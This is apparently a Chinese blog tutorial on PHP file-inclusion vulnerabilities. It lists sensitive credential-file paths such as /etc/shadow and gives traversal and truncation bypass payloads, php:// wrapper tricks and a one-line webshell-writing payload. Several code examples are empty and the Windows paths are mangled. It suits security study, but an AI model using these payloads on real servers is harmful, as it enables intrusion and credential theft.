• 6、文件包含


    6 文件包含

    6.1 有关概念

    前言

    include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行

    产生原因

    文件包含函数加载的参数没有经过过滤或者严格定义,可以被用户控制,包含了其他恶意文件,导致执行了非预期的代码。

    分类

    本地文件包含和远程文件包含

    6.2 本地文件包含

    上传图片,图片包含getshell;

    读文件,读取php文件

    包含日志文件getshell

    包含/proc/self/environ文件getshell

    有phpinfo可包含临时文件

    包含data://或php://inout等伪协议(需要allow_url_include=On)

    6.2.1 目录遍历敏感信息路径

    目录遍历漏洞可以获取到系统中其他文件的内容

    常见的敏感信息路径:

    Windows系统

        c:oot.ini // 查看系统版本

        c:windowssystem32inetsrvMetaBase.xml // IIS配置文件

        c:windows epairsam // 存储Windows系统初次安装的密码

        c:ProgramFilesmysqlmy.ini // MySQL配置

        c:ProgramFilesmysqldatamysqluser.MYD // MySQL root密码

        c:windowsphp.ini // php 配置信息

    Linux/Unix系统

        /etc/passwd // 账户信息

        /etc/shadow // 账户密码文件

        /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

        /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

        /usr/local/app/php5/lib/php.ini // PHP相关配置

        /etc/httpd/conf/httpd.conf // Apache配置文件

        /etc/my.conf // mysql 配置文件

    6.2.2 Session文件包含

    利用条件:session的存储位置可以获取。

    获取方法1:通过phpinfo的信息可以获取到session的存储位置

    获取方法2:猜测默认的session存放位置

    linux下默认存储在/var/lib/php/session目录下

    Windows默认C:WINDOWSTemp或集成环境的TMP文件夹里;

    方法:

    存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。

    6.2.3 有限制本地包含绕过

    绕过方法1:%00截断

    条件:magic_quotes_gpc = Off php版本<5.3.4

    测试:?filename=../../../../../../../boot.ini%00

    绕过方法2:路径长度截断

    条件:Windows下目录最大长度为256字节,超出的部分会被丢弃;

    Linux下目录最大长度为4096字节,超出的部分会被丢弃。

    测试:?filename=test.txt/././././.  或者?filename=test.txt.......

    6.3 远程文件包含

    前提:有远程文件包含漏洞服务器的php.ini的配置选项allow_url_fopen和allow_url_include为On

    allow_url_include为On,则include/require函数是可加载远程文件的

    有限制远程包含绕过

    测试代码:

    <?php include($_GET['filename'] . ".html"); ?> 

    多添加了html后缀,导致远程包含的文件也会多一个html后缀

    问号绕过

    测试:?filename=http://192.168.91.133/FI/php.txt?

    #号绕过

    测试:?filename=http://192.168.91.133/FI/php.txt%23

    空格绕过:
    测试:?filename=http://192.168.91.133/FI/php.txt%20

    6.4 PHP伪协议使用

    php://filter(本地磁盘文件读取)

    条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;

    用法:?filename=php://filter/convert.base64-encode/resource=xxx.php

    或 ?filename=php://filter/read=convert.base64-encode/resource=xxx.php

    php://input(读取POST数据)

    碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据,具体函数意义下一项

    测试代码:

    <?php   echo file_get_contents("php://input");  ?>

    用法:

     

    php://input(写入木马)

    条件:同时开启 allow_url_fopen 和 allow_url_include  (PHP < 5.3.0)

    测试代码:

             

    用法: 

    <?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

     

    php://input(命令执行)

    条件:同时开启 allow_url_fopen 和 allow_url_include  (PHP < 5.3.0)

    测试代码:

             

    用法:

     

    zip://伪协议

    条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

    用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php。

                                         

    6.5 漏洞挖掘

    无通用性方法

    特定CMS,特定版本可能存在

    web漏洞扫描器扫描

    6.6修复方案

    PHP中可使用open_basedir配置限制访问限制在指定的区域

    过滤.(点)/(反斜杠)(斜杠)

    进制服务器远程文件包含

  • 相关阅读:
    ubuntu16下点亮C170摄像头的一波三折
    看完这张图,开源协议门清
    Qt调试信息重定向输出(qInstallMessageHandler)
    C++专业术语
    vim 复制 单个 单词: 移动光标到单词词首,快速摁 yw
    讲真的
    bcp文件, 逗号文件
    缩写: i = i + 1 和 i += 1,可以看做是 i 自加的值 是1。
    $identify 的 “identify” 表示一个Perl标识符,即 identifier
    第八章: 以正则表达式进行匹配
  • 原文地址:https://www.cnblogs.com/guike/p/11188519.html
Copyright © 2020-2023  润新知